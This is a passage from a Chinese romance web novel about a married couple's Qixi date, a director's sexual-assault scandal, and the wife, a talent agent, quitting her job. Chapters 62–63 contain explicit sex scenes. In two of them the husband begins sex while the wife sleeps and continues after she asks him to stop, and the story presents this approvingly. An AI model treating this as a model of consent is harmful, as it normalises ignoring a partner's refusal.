两人牵着手在公园漫步，夕阳将湖面染得波光粼粼，栈桥边有一对白发老夫妇静静坐着。看着他们的背影，沈灼忽然想起一个词——岁月静好。 沈灼心里忽然泛起柔软。几十年后，她也希望能这样，仍然挽着他的手，去任何地方。 原来爱一个人就是这样，想和他共度余生。 沈灼突然停下，对他说：“闭眼睛。” 邵成章不知道她要干什么，愣了一秒后听话地阖上眼睛。一片温热突然覆上来，沈灼抬手盖住了他的眼睛，踮起脚亲在他的唇上。 第62章 沈灼的吻轻得像是风拂过水面，只是浅浅一触，便离开了。 “邵成章，其实……今天我很抱歉。我什么都没准备，甚至早上才知道今天是七夕节。我没谈过恋爱，很习惯一个人了……我知道这不是理由，但确实是这样。再加上我性格散漫，生活没什么计划性，所以有时候真的没考虑到你……” 邵成章看着她，听她略有自责的语气，心都化了，又怎么可能怪她呢。 他开口，语气又温柔又宠溺：“老婆，不需要你准备，真的。这些让我来做就可以了啊，你只需要跟着我好好享受就好了，我做这些是想让你开心，你开心我也会开心。而且你今天已经送了我一束花，还送了一个吻，我已经特别特别开心了。”他说着，低头去看她，眼里全是浓得化不开的柔情。 “那束花其实也是我临时买的。” “但你还是买了呀。这就够了。”邵成章笑了，语气却很认真，“你让我想到一句话。” “什么？”沈灼好奇。 “爱是常觉亏欠。”邵成章温柔地说，嘴角带着笑意，“你说你没准备什么，可我只觉得，我已经收到了世界上最好的礼物。” 沈灼看着他，心脏像是被轻轻捏了一下，她忽然靠过去，抱紧了他。 邵成章抬手回抱住她，但他还有点不习惯在外面搂搂抱抱，于是头一低，下半边脸直接埋在沈灼颈侧。她今天喷的玫瑰调的香水，尾调有玫瑰的余韵和几款木香的混合，十分迷人。 感受到他的回应，沈灼笑说：“我发现你好像有点脱敏了。”现在这样在外面抱他，他没有之前那么僵硬了。 邵成章得寸进尺：“那你多抱抱我亲亲我，我就能完全脱敏了。” 沈灼笑起来，邵成章能感觉到她的胸脯都在震动，他悄悄在她耳边嘘声说：“老婆，我想回家了。” 本以为沈灼听到他这样说，会骂他又不正经了，没想到她手滑下去，在他的腰窝那里用指尖打圈儿，隔着一层衬衫，接触到皮肤，细细痒痒的触感让他禁不住一抖。 “那你再忍一忍嘛。” 邵成章深呼吸一口气，抱着沈灼久久没有松手。 此时已是盛夏傍晚，气温仍逼近三十度，加上邵成章本来就体温高，没过多久，沈灼就被烘得微微出汗，忍不住推了推他，笑着嫌弃：“太热了，你再抱下去我妆都要花了。” 邵成章有些恋恋不舍，但还是听话地松了手。两人准备再沿着湖边随意走走，刚转身，就听到身后传来一个女孩子轻快的声音。 “等等——” 沈灼回头，一个穿着简约清新的女孩子朝他们挥手，跑了过来，脸上还带着点小激动。她举着手机，有些气喘：“不好意思，我刚才在拍照，拍到你们了，但我觉得照片真的特别好看，想问问你们要不要？”她边说边翻转手机屏幕。 照片是逆光下他们的剪影：夕阳染黄了整片湖水，波光闪动，而画面中央，沈灼踮起脚轻轻亲吻邵成章。 沈灼愣了愣，旋即眼睛一亮，语气中满是惊喜：“天哪，你拍得好有感觉，可以发我吗？” 女孩儿点点头，笑容灿烂：“当然可以！”她隔空传完照片后，又忍不住补了一句，“其实我刚进公园的时候就看见你们了，你们真的……长得太好看了，好配啊。” 沈灼抿唇一笑，看了眼邵成章，又回望女孩：“谢谢你。” 邵成章也礼貌地点了点头，对女孩儿说“谢谢”。 和女孩儿道谢说了再见后，沈灼忍不住欣赏起照片来，虽然看不清脸，但是勾勒出来的剪影却十分有氛围感。 “我怎么觉得这张照片比咱们今天拍的合照都好看呢。” 邵成章牵着她，肯定道：“嗯，我也好喜欢。” 俩人沿着步道溜达，漫无目的随意地聊着天，沈灼想到什么说什么，邵成章句句有回应，直到初见夜幕，才准备返程。 邵成章问她想吃什么，今天吃了一天的精致菜，沈灼想起来有一家她很喜欢的烧烤店，于是问他能不能接受小馆子，邵成章点头说没问题。 已经错过了饭点，但是烧烤店人还是很多，沈灼领着邵成章出现在门口，立即惹来周围人的目光，怎么看这两人都和这里的烟火气格格不入。 老板娘认识沈灼，和她唠了两句，说邵成章一进来和大明星似的。沈灼笑着介绍，这是她老公。 邵成章在一旁听得心情愉悦，连带着看这个并不是十分干净卫生的小店都顺眼了许多。 沈灼下午吃了甜品，本来也不是很饿，又是吃一点就不吃了，她把盘子往他那边一推，让他都吃完不要浪费。 沾了辣椒粉的薄唇因为充血变得红润，店里冷气也不是特别足，邵成章额角微微冒汗，微张着嘴巴，露出一点点牙尖，沈灼坐在对面一直托腮盯着他。 邵成章被她盯得受不了了，放下签子说：“不吃了。” “就吃这么点？”沈灼惊讶道。 “嗯，想吃别的。”邵成章似笑非笑，“天也黑了，我们是不是该回家了？” 沈灼笑着挑眉，眼睛转了一下，说道：“好吧，听你的，回家。” 路上沈灼在挑照片准备发朋友圈，邵成章接到了一通工作电话，沈灼听他的回复似乎还有点麻烦，回到家，邵成章让她先去洗澡，自己先去了书房。 Dreamora今晚有一款联名限量新品上线，刚一开售，小程序和官旗便因涌入大量黄牛抢单，直接导致服务器崩溃，而且用户打开购买页面直接显示“已售罄”，社交平台上很快炸锅，用户都在发帖控诉。 邵成章立即召集相关部门负责人开会，要求技术部门马上修复服务器，必要时启用备用云服务，“还有查一下异常订单。”他迅速整理思路 ，提出解决方案，“公关部发布公告，说明情况，不要回避黄牛问题，声明我们会重新开放限量购买，并设置限购机制。再准备一批优惠券，无门槛直接使用。” 几个部门长连忙应声。 一个小时后，小程序恢复上线，后台拦截了大量的异常订单，小程序和官旗的限购机制上线、优惠券发放也同步进行。 #Dreamora服务器崩了#话题热度居高不下，但因为邵成章的紧急应对加上优惠券补偿，拉满了用户好感，舆论走向迅速反转，网友从最初的愤怒转为认可，对Dreamora的这次紧急应对感到满意。 邵成章见已经稳下来，发售也正常进行，便朝会议那头淡声道：“今晚大家辛苦了。” 挂断会议，传来两声“噔噔”敲玻璃的声音，邵成章闻声抬头，看见沈灼探出一个脑袋，“你忙完啦？” “嗯，刚刚有点紧急事故，现在已经解决了。”邵成章准备起身，却被沈灼一声喝住。 他正要起身，却被沈灼一声轻喝拦住：“坐下别动，不准过来。” 邵成章动作顿住，意外地挑了挑眉：“怎么了？” 沈灼没说话，只是摸到门边的开关，指尖按下，“啪”一声，书房陷入黑暗，唯有她身后客厅射灯透出几道斜斜的暖光，将她的轮廓映得暧昧朦胧。电脑屏幕还亮着，冷色的光落在邵成章脸上，将他眼底的疑惑映得格外清晰。 沈灼慢慢、慢慢地朝他走过去。 走近了些，邵成章才发现沈灼有哪里不一样。 她换上了一件黑色吊带睡裙，裙摆极短，睡裙下，一双同色系吊带袜沿着她笔直的腿一路包裹而上，而那双红底高跟鞋，每走一步都踩得他心神不宁。 在邵成章处理工作的一个多小时里，她已经洗好澡，还在外卖平台上下单了点装备。 她走到办公桌边，手指轻轻撑在桌沿，身形微俯，长腿交叠，像是故意在他面前晃着诱饵。 邵成章看得呼吸一紧，喉结重重一动，嗓音已经有些低哑：“老婆……”凭借着电脑的幽幽冷光，他眼神扫过她的腿环，落到那双高跟鞋上，又慢慢抬头，看进沈灼的眼里，一双眼睛里全是情欲。 沈灼双手在办公桌上一撑，跃起的时候，裙摆随着动作掀起一点弧度。她坐在桌上，双腿悬空，下一秒一只脚就踩在了邵成章的膝盖上支撑她的平衡。 邵成章看着她，终于明白了她让他“坐着别动”的含义。他背脊一紧，喉头微滚，仰头望着沈灼，眼神已经彻底暗了下去。 “不是说好今天不准工作吗，嗯？是谁失信了？”沈灼后撑着桌沿，挑着下巴居高临下地望着他，语调散漫懒倦。 她另一只脚抬起，勾住他的小腿，邵成章顺势滑动椅子，靠得更近些，方便她踩得更稳。 “所以，是要……惩罚我吗？” “当然，”沈灼唇角轻勾，“因为小狗不够听话啊。” 她脚尖微抬，踩在他身上一处轻轻施力。邵成章闷哼一声，喉咙发紧，手却不自觉地扣上了她的脚踝，指腹缓慢摩挲内侧。 “允许你随意活动了吗？”她命令他，“坐好，把手松开。” 邵成章微微一愣，深深一呼吸。看向她的眼神带着一丝顺从和兴奋的意味。他举起双手，像是投降，现在他自愿将控制权交给她，然后握住了椅子的扶手。 修长的高跟鞋鞋尖抵在他胸口，轻轻压住一边隔着一层轻薄的衬衫碾，鞋跟戳在他绷紧的腹肌上。 邵成章的脸颊染上一层薄红，身体紧绷，呼吸愈发粗重，骨节分明的手在椅扶上轻轻一收，眼神里却浮出近乎臣服和渴望的光。他被逼入感官的边缘，却毫无抵抗之意，甚至沉溺其中，享受她每一分毫的控制。 沈灼虽然撑着桌子，可是脚尖小腿一直绷着，还收着力，没一会儿她就累了，直接将腿搭在他的腿上，有点微喘，她的体力确实是差了点。 “你自己，玩给我看。” 电脑屏幕光反射到沈灼脸上很微弱，但她皮肤白，邵成章能隐约看清沈灼脸上的小表情，一双眸子透亮，眼尾微微吊着，轻快的语气透出一股天真。 邵成章怔了两秒，忽而低低地笑了。他向她展示着，只是感觉没有她来亲自玩的感觉强烈。 沈灼忽然踢掉一只高跟鞋，丝袜的质感带来的感觉是无与伦比的。 邵成章深吸了口气。 不知道过了多久，沈灼得逞地笑起来，说丝袜脏了。 她抬起腿在他眼前晃着。 邵成章伸手钳住她的踝骨，“嗯，再给你买好不好。” 沈灼就是使坏，她偏偏要让他先来一次她才舒坦。 湿热的触感让她感觉酥痒，她想抽回腿，却被他牢牢箍住。 邵成章想这么做很久了。 沈灼也累了，干脆也不拒绝了。她后撑着的手臂都有点酸，于是后仰着往下躺，姿势换成了肘撑。 他滑动椅子，坐在她双腿之间，手握着她的膝盖更分开了些，可以让脚毫不费力的踩在他的大腿上。 他俯身，吻又落在膝盖上。 大手贴在小腿肚上帮她按摩，直到帮她肌肉放松下来变得松软，他拢着小腿肚肉在手中乱晃，触感似曾相识。 邵成章离得近了，才发现沈灼的吊带袜套在胯骨上，除此之外，什么都没有了。 桌沿之上，有一滩莹亮的水痕。 喉结上下滚动，嗓音低沉又缓慢：“小狗是主人的，主人也是小狗的……对不对？” “嗯……”沈灼闭上眼睛。 “那现在，”他倾身贴近，冲着诱人的光景吹气，“小狗要标记主人了。” 第63章 邵成章并不是一开始就接受沈灼一直说他是小狗这件事。 他倒不是认为小狗是羞辱人的词，只是觉得小狗这个称呼听着就怪可爱的，和他本人形象不符。在沈灼心里，他想怎么都该是雄狮猛虎，凶狼猎豹这种极具侵略性的形象才对，但耐不住沈灼天天在他耳边夸小狗可爱。 她睡前经常刷到各种小狗的视频，然后发出奇奇怪怪的声音，说好可爱好喜欢。 邵成章见她喜欢，就提议也养一只。 沈灼抬头盯着他，捏住他的下巴笑说：“可家里不是已经有一只小狗了吗。” 反应过来，邵成章不服气道：“我才不是小狗。” “是吗？”沈灼笑着，拉长调子说，“可我最喜欢小狗了啊。” 过几秒，邵成章低头咬在她肩头，在她耳边特别小声地“汪”了一声，逗得沈灼抚上他的侧脸，然后亲亲他。 渐渐地，他发现沈灼很难拒绝他自称小狗装可怜的时候，尤其是在床上。 每次沈灼都不想再继续了，邵成章总会抿起嘴唇，装出一副可怜巴巴的样子先盯着她，然后低头拱在她怀里乞求。 “小狗想再来一次好不好？” “主人疼疼小狗吧。” “小狗想要主人了。” 这时候沈灼就很难再说不了。 七夕之夜，邵成章因为沈灼为他所准备的一切感到很兴奋，那是一种生理和心理同时被满足的快感。他深入浅出不知道多少次，在沈灼隐秘的地方留下许多他的痕迹。 沈灼累得昏昏欲睡，最后被他抱着洗澡都全程阖着眼睛。她觉得自己已经不行了，但她的身体比她想象中的还要喜欢邵成章。 手指一拨，便发现指尖已经被浇透了。 邵成章轻而易举地进去，就安静地放在里面，动也不动，可沈灼又受不了了，总觉得痒。她迷迷糊糊醒来下意识想把他推开，被他钳着手不让。 “含着，就这样睡，好不好？” 沈灼鼻音哼出一声长长的调子，没说好也没说不好，邵成章亲亲她，轻拍着她的后背把她哄睡。 邵成章自己又等了好久，等正常待机之后，会有些滑出来，他也就不再往里放了，而是用食指和中指代替。 沈灼嘤/咛一声，似乎有一点不舒服，但她实在太困了，没什么感觉后又马上睡过去了。 他是她的，他的身体也要在她的身体里。 周末沈灼没工作会多睡一会儿，邵成章也不会吵她，但这天早上，邵成章实在不安分。 尾椎突然传来一阵酥麻将沈灼惊醒，她的心脏还砰砰跳着，不知道发生了什么。睁开眼睛，邵成章正兴致勃勃地看着她。 “早呀，老婆。” 沈灼还没从惊醒中平 复过来，呼着重气：“老公，我想再睡一会儿。” 邵成章十分体贴：“嗯，你睡你的，不吵你。” 沈灼再次闭上眼睛，才发现异常，她都不知道他的手指为什么会在里面，她突然睁开眼睛想推出去，接着里面的指节一弯曲直接让她惊叫出声。 “你——”沈灼意识还不清醒，一时之间大脑空白。然而她的整个感官神经好像都已经被掠夺了，她忍不住蜷缩起身子，却被邵成章制止。 安静的房间里，她听到咕叽咕叽的水声。 “宝宝，听见了吗？这是你身体的声音。”邵成章侧躺在她身边，好整以暇地看着她，他伸出食指和中指举到她面前，“看宝宝多厉害，手指都绉绉的了。” 沈灼瞄了一眼，手指因为长时间被泡着，肤色都比其余的颜色显得灰白，上面还有坠下来的水丝，她都要羞死了，他怎么能一直放在里面？！ 邵成章坐起来重复动作，重复之余另一只手握起成拳头在她的小腹上轻轻按压，就像昨晚她穿着高跟鞋踩他的一样，他想试试给她别样的感受。 沈灼很难形容这种感受，感觉自己像是被电触了一样，爽的整个腰背发麻，她根本控制不住自己，层层叠浪，他的掌心、身下的床单全被浸湿了。 生理性泪水被刺激出来，她哼唧着让他停下。 邵成章没有答应她，他俯身吻去她的眼泪。他有更正确的积极的反馈，并且得知他不应该停下。 * 沈灼一觉睡到下午，醒来邵成章已经不在房间了。她现在唯一的想法就是好饿。起床简单洗漱了一下，沈灼想去厨房找点吃的，路过客厅也没看见邵成章，她猜他应该又在书房工作了。 听见外面的声响，邵成章完成手上的文件批复后，起身出去，看到沈灼他走过去从后面抱住她。 沈灼一把甩开他搭在自己腰上的手。 “老婆生气啦？” 沈灼侧首瞪他一眼，都是他害的，本来自己一天安排的好好的，现在可好，一下子睡到三点多，今天的计划全被他打乱了。 “你离我远点，真讨厌你。” “不要讨厌我，你不是最爱小狗了吗？”邵成章给沈灼倒了一杯水，又厚脸皮地贴上去。 沈灼这回倒是没推开他，喝完水只道：“不爱了。” 邵成章下巴搁在她的肩膀上，顺着她说：“你不爱我，那我们以后都不能做/爱了。” 沈灼口是心非道：“那最好不过了。” “所以我们以后只能做恨了，以后我会更用力地让你恨我的，行吗？” 沈灼“嘶”他一声，“滚一边儿去！” “我不，再过两天你生理期又要来了，后面关司予进组你还要出差，就当我提前预支一下么。” “你就想着你自己。” “嗯？老婆不爽吗？” 他记得，昨晚她一边哭着说不要，腿却一直夹在他的腰两侧，没放下来过。 沈灼别过头去，确实她是爽的，如果她不喜欢，她也不会同意邵成章进行下去。 邵成章大手放在她肚子上摸了摸，都瘪下去了，“老婆，是不是饿了，我给你做点吃的吧。” 沈灼确实是饿了，哼了一声说要吃蛋包饭，邵成章收到吩咐，立即从冰箱拿出食材。 十五分钟后，金灿灿的薄蛋饼包着炒饭，淋上番茄酱就出锅了。 邵成章陪她坐在岛台上吃完，又收好碗筷才去接着工作。沈灼犯了懒，打算晚上再处理工作。拿起手机看了下，朋友圈几乎都炸了。 她昨晚发的朋友圈，是对全体人可见。大部分都留言祝贺，沈灼懒得一一回复，给自己评论了条：谢谢大家。 姜珺给她发了好几条消息，她一条条引用回复。 姜珺：“你不会现在才睡醒吧？” 沈灼脸一红：“嗯…” 姜珺：“卧槽靠北阿西吧，邵成章这么强？” 沈灼还没想好怎么回，姜珺又来一条：“宝贝，你可终于吃上好饭了！” 沈灼：“……” 她知道姜珺最近谈了个，但她昨天什么都没发，也一直都没和自己细说过。沈灼播了视频过去，两个人聊了会儿天，姜珺说两个人没在谈，纯生理性需求关系，最近没项目，特别烦躁的时候就会去找他。 沈灼只说保护好自己就行。 姜珺笑着说：“wuli沈小灼终于也是尝到了男人的滋味，怎么样，感觉爽不爽？” 沈灼笑着皱眉：“你烦不烦啊！！” 姜珺：“你说嘛。” 沈灼悄悄看了一眼，其实她知道邵成章还在书房呢，大概率也听不见她讲什么，可就是莫名有些害羞。她将手机拉近，小声地说了句“爽”，话音一落脸颊就腾地染上了红。 电话那头的姜珺立刻笑出声来，两个女孩子笑成一团。 和姜珺聊完之后，沈灼又点开了迟女士的视频通话，本打算今天过去看望一下她母上大人，可现在都快四点了，她又困又累，只好先视频问候几句，打算等下周再找时间过去。 结果视频刚接通，镜头那边却不是熟悉的家中场景，而是晃动着的车窗和阳光。迟女士坐在副驾驶上，笑得神采飞扬，“我跟你刘阿姨、张阿姨还有徐阿姨出来玩了，自驾游！来来来，打个招呼！”她将手机递给后面的阿姨们，沈灼一一和她们问好，被三位阿姨夸了一圈后手机又回到迟女士手上。 沈灼有点担心，千叮咛万嘱咐她们路上开车一定要小心，甚至还问她们想去哪儿，她来帮忙找攻略，被迟女士一口回绝。 “啊呀，我先不和你说了，路上信号也不好呢。”沈灼还想再叮嘱几句，视频已经被挂断了。 她盯着屏幕摇头失笑，不愧是她妈，是比她还雷厉风行的人。 不过没过几分钟，手机就开始疯狂震动起来。沈灼一看，是迟女士连发的十几条消息，清一色都是路上四姐妹吃喝玩乐的照片和视频，照片里的她们都笑得很开心。快乐的情绪透过手机感染了沈灼，她的嘴角也不禁扬起来。 紧接着又收到四条平台链接，迟女士语音说：“这是我和你阿姨们的账号，你记得关注一下昂～” 沈灼笑出声来，点开链接，跳转到社交平台，看着她们认真经营的账号，内容是她们的旅行记录，偶尔照片还加个滤镜和特效，没什么人点赞，却都更新得特别勤快。没一会儿她的关注列表里又多了四个人。 真好。 沈灼躺在沙发上，突然感觉心里满满当当的。现在的她，有相爱的伴侣，有可以随时分享心事的闺蜜，有身体健康的妈妈。 没人规定幸福是什么样子的，可现在，沈灼觉得如此平凡普通的一天，却是让人感到一种踏实、温柔、静静流淌的幸福。 * 由于林意9月正式离职，沈灼得准备重新招小助理，她刚从hr那边回来，就见林意紧皱着眉头让她赶紧看热搜。 沈灼怎么也没想到，《雾灯》的导演乔新越出事了。 ＃乔新越疑似性侵女演员＃ ＃乔新越陈珊＃ ＃陈珊录音＃ 热搜前三都被乔新越包揽，第一条热搜更是爆了。 沈灼拧着眉点进去，看了下大概内容，越看眉毛拧越深。 陈珊是乔新越上一部电影的参演女演员，两人因戏生情后交往，结果陈珊发现乔新越出轨，怒而曝光指控乔新越趁她醉酒时发生关系，涉嫌性侵，为了保住名声，才和他交往的。 出轨是一回事，但性侵又是另一回事，两个事的严重程度不可相提并论。 目前乔新越方面尚无任何回应。 “沈灼姐，会不会影响到司予哥和《雾灯》啊？”林意问。 影响是肯定影响到了，但是得看黎雅琦那边怎么处理。 按理说，这种级别的负面在电影开机前爆出来，目标很可能不只是乔新越，连带整个项目都在射程之内。能短时间内一口气排进热搜前三，背后没点推手沈灼不信。 现在黎雅琦估计是焦头烂额，没空接她 的电话，沈灼打算再等一等。结果两个小时过去，局势没降温，反而继续发酵，连带着《雾灯》和主演们都上热搜了。 新词条继续攀升： #雾灯导演性侵# #雾灯步繁关司予# 主演们被迫卷进舆论中心，这下事态已经非常严重了。虽然目前没有实锤证据，但在公众眼中，涉性侵话题的道德敏感性极高。沈灼眼神沉了下去。 就在这时，电话响起，是步繁经纪人Joey打来的。 Joey：“沈灼姐，关老师是什么态度啊？”对方语气委婉，却也不掩紧张，“我们团队这边刚刚被几个品牌方问话，两个代言明确要求繁姐最好退出《雾灯》……现在这个节点太敏感了，我们担心继续留在项目里会被拖下水。” “目前司予还没有退出的计划。”沈灼稳住说道，“但我们也在等片方的官方处理态度。导演的事，如果没有定论，贸然退出，会不会更容易被误解为默认？” “但现在网友不这么看啊，您也知道，”Joey叹了口气，声音低了下去，“我们现在被骂得不行了……” 沈灼说会和关司予再讨论一下，如果有任何决定，会及时通知步繁这边。她挂了电话，打开主演相关的那条热搜，看了眼广场。 “雾灯还拍得下去？主演不赶紧撇清是要一起糊吗？” “都这个时候了，剧组还装听不见吗？@步繁@关司予” “支持陈珊，就是支持更多女性说出受害真相。” “请步繁关司予尽快表明立场。” “才粉上关司予，如果他继续拍这部戏，那我只能取关了，绝对不会去影院贡献票房。” “……” 局势已经不是“是否影响”那么简单了，这场舆论比她想象中的更要猛烈，像是有人蓄谋已久，但矛头对准的到底是谁呢？ 乔新越？黎雅琦那边的制作方？还是步繁或者是关司予？ 沈灼陷入沉思，她拿起手机，拨通了黎雅琦的电话。 第64章 电话几乎是响了一声就被接起。 “沈灼。”黎雅琦的声音略显沙哑，听得出她的情绪现在绷得很紧，“我正要给你打过去。” “雅琦姐，还好吗？” 黎雅琦苦涩一笑：“事情发生的太突然了，有点措手不及。刚和几个资方开完会。” 沈灼略一停顿：“那……片方目前是什么态度？” “沈灼，我们现在不能贸然动作。”黎雅琦说，“其实你也知道最好的办法就是换导演，但如果这个时候换导演，就相当于整个剧组之前的筹备工作全都得推翻重来，资方们并不同意这个方案。” “嗯，我知道的雅琦姐。”沈灼理解黎雅琦。 摄影、美术、道具这些核心团队基本都是乔新越带进来的，前期置景已经筹备一个多月，若更换导演，新导演肯定会推翻旧设，重新搭建。那这成本就会增加，如果再找新的资方进钱，原来的资方的投资份额又会被稀释，怎么看资方都不会答应的。 但理解归理解，沈灼是关司予的经纪人，她首要保障的就是关司予的利益，如果不换导演，她其实和步繁团队的想法一样，宣布退出是最好的办法。 黎雅琦沉默了两秒，缓缓道：“我们准备出一个声明，强调剧组所有选角都是在剧本确定后才定下，与导演的私人行为毫无关联，但暂时不会对乔新越的指控做任何立场表态。” 沈灼听出她的保守方案，皱了下眉说道：“这种声明不会有用的，现在网上对乔新越的讨伐声太大了，并且我们现在并不知道他是不是真的有犯法行为，如果最后调查是真的，那拖得越久对剧组越不利呀，步繁的经纪人刚刚打电话过来，说已经有代言要求她退出项目。再晚几个小时，可能是我们要先撑不住了。” “而且这种一旦发出去，那就是让关司予和步繁在前面扛着被骂啊……雅琦姐，咱们不能这样啊。” “我不是这个意思。”黎雅琦叹口气，声音低了些，“但现在没有证据能定乔新越的罪，立场太鲜明万一后面还有反转呢，损失太大了。沈灼，我们都知道，这场舆论未必只是偶发事件。你不觉得像是有人在背后推吗？” “我当然想过。”沈灼顿了顿，换了个说法，“但现在是公众情绪先一步站队了，不管舆论是不是被操控，支持陈珊的言论已经可以一边倒了。就算乔新越的性侵是被诬告的，那他出轨也是事实。片方不作为，就容易被当成对立面。” “我清楚。”黎雅琦有些疲惫，“我也不是不考虑换导演，但这个动作得是乔新越主动退出，否则我很难和资方交代，你再等一等我，我和乔导去聊一聊，司予那边，你帮我稳一下，拜托了。” 沈灼心里叹口气，说等她的消息。 挂了电话，沈灼听到敲门声，抬眼一看，关司予来了。 “司予，你来得正好。”沈灼勉强笑了一下，“乔导那事儿你知道了吧。” 关司予走到沈灼桌前的那张单人椅，坐下说：“知道。” “什么想法？” 关司予挑眉：“眼下最快的方法就是换导演，乔新越现在在风口浪尖上不适合再继续拍了。” “当然。”沈灼说，“但是黎雅琦那边未必能搞定资方，而且步繁的团队和我已经联系了，有想退出的想法，如果她退出，我觉得——” “如果她退出，我也会继续拍下去的。” 沈灼怔了一秒，眉头皱起来：“你说什么？” 关司予看着她，眼神没有丝毫回避：“这个戏我一定会拍的。” “司予，你和我说实话，你当初坚持接这个戏根本就就不是因为步繁吧？”沈灼思考了两秒，“到底是为什么，你能不能告诉我？” 关司予说：“沈灼姐，我为什么接这个电影不重要，而且这确实是个还不错的剧本不是吗？再说了，乔新越确实不适合导演这个剧本，换掉他说不定会有更合适的导演出现，影片的完成度更高。” 沈灼觉得关司予的话就像一层薄纱，她看不清薄纱之下到底是什么，却没来由的让她感觉有点心慌。 “如果步繁退出，资方很有可能撤资，这个项目就会搁置。” 关司予冲她挑眉一笑：“不会的，这个项目会拍下去的，相信我。” 在沈灼的一脸困惑中，关司予起身走出去了。 不久，《雾灯》剧组官方发了声明，说剧组所有选角、制作流程均严格遵守相关法律法规，力求打造一个专业、尊重的创作环境并坚决反对任何形式的性骚扰或潜规则行为。 声明避重就轻，丝毫没提乔新越，如沈灼所说，网友并不买账，依然骂声一片。 两个小时后，乔新越微博发了声明致歉：本人乔新越，回应和陈珊恋爱事件，占用公共资源实在抱歉。在情感处理上我确实存在不当之处，尤其是在亲密关系中对陈珊造成了伤害与误解，我愿意为由此带来的负面影响承担责任，并对曾经信任我的人表示由衷的歉意。 我已决定从即日起暂停并退出所有正在进行的演艺与导演工作，全面反省、修正自身问题。但关于网上传播的“性侵”指控，我必须严正澄清：此事严重失实，我从未做出过任何违法行为。相关网传录音断章取义、误导大众，我已委托律师团队依法处理，坚决捍卫我的合法权益。 沈灼看完声明，也没有松下一口气。换导演说起来简单，但是项目出了这样的事，大导演看不上，小导演不敢用，这个项目不知道什么时候可以再次启动。 不过乔新越本人的说明，至少能让步繁那边有协商的余地。 黎雅琦给沈灼打电话，商量档期的事。就算现在能找来一个导演，新导演也需要时间熟读剧本、组建团队，原定的开机时间必然要往后顺延。 关司予下半年排得比较松，除了《雾灯》，其余都是杂志拍摄和代言通告，时间相对好调。沈灼说定下新的进组时间后，如果真的撞了其他通告，她这边来想办法协调。黎雅琦连声说“谢谢”。 “但雅琦姐，步繁那边能往后拖吗？”关司予好谈，可步繁不好谈，她的档期卡的很死。 黎雅琦叹了一口气：“我还正发愁呢，她最多只能往后拖20天开机，否则就只能退出项目了。” 这在沈灼意料之中，她沉吟片刻，说道：“要不这样，雅琦姐，如果我这边有合适的 女演员，我先推几位给你参考，你当个备用。” 黎雅琦心头一暖，说：“沈灼，谢谢你，真的。” “嗐，这不都是为了项目好吗。” 挂了电话，沈灼给关司予发了条消息，告诉他开机时间会往后拖几天，具体时间等黎雅琦通知，让他好好在家看剧本，关司予回了一个很乖巧的表情包，说好的。 一连几天，黎雅琦没有任何消息，但乔新越的瓜却一直接连不断有新的爆料一直占据在热搜上。沈灼也没闲着，她为关司予谈妥了和WUNSEE集团旗下明年春夏系列高定的时装秀特邀嘉宾身份，并且担任新系列的体验官。 接收到的剧本都枯燥无味，沈灼一连拒绝了好几个，被杨瑞泽叫到了办公室。 原因是她拒绝了一个大制作电影的邀约。 导演是潘利恒，在圈里也是有几十亿票房的大导演，拍过十几部大片，合作的全是响当当的电影咖，曾经也算是票房收割机。可惜时代变了，市场变了。他那套擅长战争、动作的宏大叙事已经不再吃香。前两年他执导并亲自操刀剧本的一部古装玄幻片因为特效预算问题半途崩盘，烂尾之后被卖给了平台，直接跳过院线，网站评分惨不忍睹，只有4分。 这个剧本是一位制片人给她推的，目前有家影视公司要投，正在找演员。依旧是古装玄幻，依旧有着狗屁不通的世界观和粗糙的人物动机。沈灼看完之后唯有沉默，心情复杂。 她实在想不明白，为什么一些专业的导演就是不肯找专业的编剧合作呢？是没有自知之明，还是想一雪前耻？ 她直接婉拒了。 但杨瑞泽不认同。 “沈灼啊，现在还有几个好剧本？有项目、有热度、有钱赚，就不错了。”他说，像是在对沈灼的“理想主义”嗤之以鼻。 沈灼咬牙坚持：“就算我同意接，关司予也不一定愿意。” “他一个新人，挑什么挑？”杨瑞泽语气冷下来，“你是他的经纪人，你知道公司花了多少钱和资源捧他培养他，我们是在搞慈善吗，啊？” 他顿了顿，语气更冲了些，“还有黎雅琦那个项目，现在怎么样了？我听说资方都有撤资的意思，开机时间遥遥无期。你现在拒掉那么多邀约，是在等什么，等奇迹吗？你就这么肯定那项目能开？你能不能对公司和艺人上当回事儿！” 沈灼的脸一下就沉了下来，眼神里压着火。 他在说什么鬼话？ 她不把公司当回事儿就不会从实习到现在工作了九年还不离开，不把艺人当回事儿就不会努力帮关司予争取项目帮他拿奖。 “我知道你现在嫁了个好老公，根本不差钱，不然你干脆回家当你的阔太太得了，还上什么班啊。”杨瑞泽从上次饭局之后就知道沈灼和Dreamora的总裁结婚了。 他轻飘飘一句“阔太太”，否定了她的努力，无视了她的付出。 沈灼脑仁气得嗡嗡的，“不上班就不上班，你以为你这这是什么好地方吗，我早就不想干了！” 杨瑞泽没想到沈灼真的说辞职，显然愣住了。 沈灼转身离开，拉开玻璃门刚要迈步，她又退回来两步：“今年的年假我还没休，加上婚假，一共二十天，就从下周一开始，休完假我回来交接。” 杨瑞泽还没回话，她就直接走出去了，回办公室正碰上hr要给她递招聘的助理人选。 沈灼说：“不用面试了，我要休20天的假。” hr点点头了然：“那就等回来再面？” 沈灼说：“回来我辞职。” hr：“好的……啊？” 沈灼冲她一笑，径直回了办公室，收拾东西，走人！ 回到家，也才不过七点，沈灼给邵成章发消息，结果他说晚上有饭局。 邵成章：“今晚不加班了？” 沈灼：“嗯。” 邵成章直觉沈灼情绪不好，通常她回复都会发“嗯啊”或者是“嗯呢”，很少直接发一个“嗯”。 邵成章：“那记得吃饭，我今晚早点回去[亲亲]” 九点多一点，邵成章回到家发现沈灼长长一条躺在沙发上，他走过去直接俯身吻住她，偷了一个深深的热吻。 “唔……”沈灼捧住他的脸，让他停下，微喘着说，“和你说件事。” “嗯？” “从下周一开始，我就自由了。”沈灼笑说。 邵成章反应两秒：“你辞职了？” “嗯哼。”沈灼指腹摩挲着他的脸颊，“以后我要靠你养了，邵总。” 邵成章笑着又啄了她一口：“我求之不得。” 第65章 得知沈灼请了年假和婚假，即将有个长长的假期，邵成章问她打算怎么过。 沈灼想了想：“先休息几天吧，然后我想和姜珺出去玩几天，好久没出去旅游了。” 邵成章哼一声，不满地在她下巴颏咬了一口：“请的婚假，不和我过，和别人出去玩，嗯？” “那不是你太忙了吗。”沈灼戳戳他的脸，“你要是有时间，我也想和你出去旅游。” “去哪儿想好了吗？” “没，大概去个沿海城市或者海岛吧。我和姜珺都挺随意的。” 